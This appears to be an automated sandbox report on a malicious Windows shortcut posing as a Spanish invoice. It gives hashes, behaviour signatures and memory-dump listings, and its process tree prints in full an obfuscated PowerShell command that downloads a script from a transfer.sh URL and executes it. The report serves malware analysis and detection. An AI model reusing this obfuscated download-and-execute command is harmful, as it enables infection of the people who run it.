Analysis

  • max time kernel
    31s
  • max time network
    33s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    06/03/2023, 10:29

General

  • Target

    Factura 2023ES.lnk

  • Size

    1KB

  • MD5

    2938fdec9b9ba2f6e1130ff5ec609e32

  • SHA1

    b11608fdcf8a6936dfbc705a245b24baa2df9761

  • SHA256

    d1c5a092545dcf35a98d86f5a1886e24d6e872b36369fda4c1edcf948451d1be

  • SHA512

    78b54c150a924beb2e8cb607ccf56a18102fe5e7696a6dc3da87be280a607ff3790bd93a3e31f8b02050a6870d69010f17f9767bf470d24f1b35110ec314d81b

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\Factura 2023ES.lnk"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:928
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ${.*} = $PSHOME[+22 -24 +2] + $PSHOME[-12 +3] + 'a' + $PSHOME[-66 +55];${g^4} = $([TYPE]${.*});${.**} = ${g^4}::ToString(+79 -1 -5);${.**..} = ${g^4}::ToString(+79 -1 -5 -4);${..***} = ${g^4}::ToString(+79 +30 -10 +21);&(${.**} +${.**..} + ${..***})(&(${.**} +${.**..} + ${..***})($PSHOME[+52 -53 +1]+'u'+$PSHOME[-66 +55]+$PSHOME[-61 +55]+' https://transfer.sh/get/3AyJAF/renamethis.txt -UseBasicParsing')).Content
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1104

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1104-92-0x000000001B330000-0x000000001B612000-memory.dmp

    Filesize

    2.9MB

  • memory/1104-93-0x0000000002350000-0x0000000002358000-memory.dmp

    Filesize

    32KB

  • memory/1104-94-0x0000000002400000-0x0000000002480000-memory.dmp

    Filesize

    512KB

  • memory/1104-95-0x0000000002400000-0x0000000002480000-memory.dmp

    Filesize

    512KB

  • memory/1104-96-0x0000000002400000-0x0000000002480000-memory.dmp

    Filesize

    512KB

  • memory/1104-97-0x0000000002400000-0x0000000002480000-memory.dmp

    Filesize

    512KB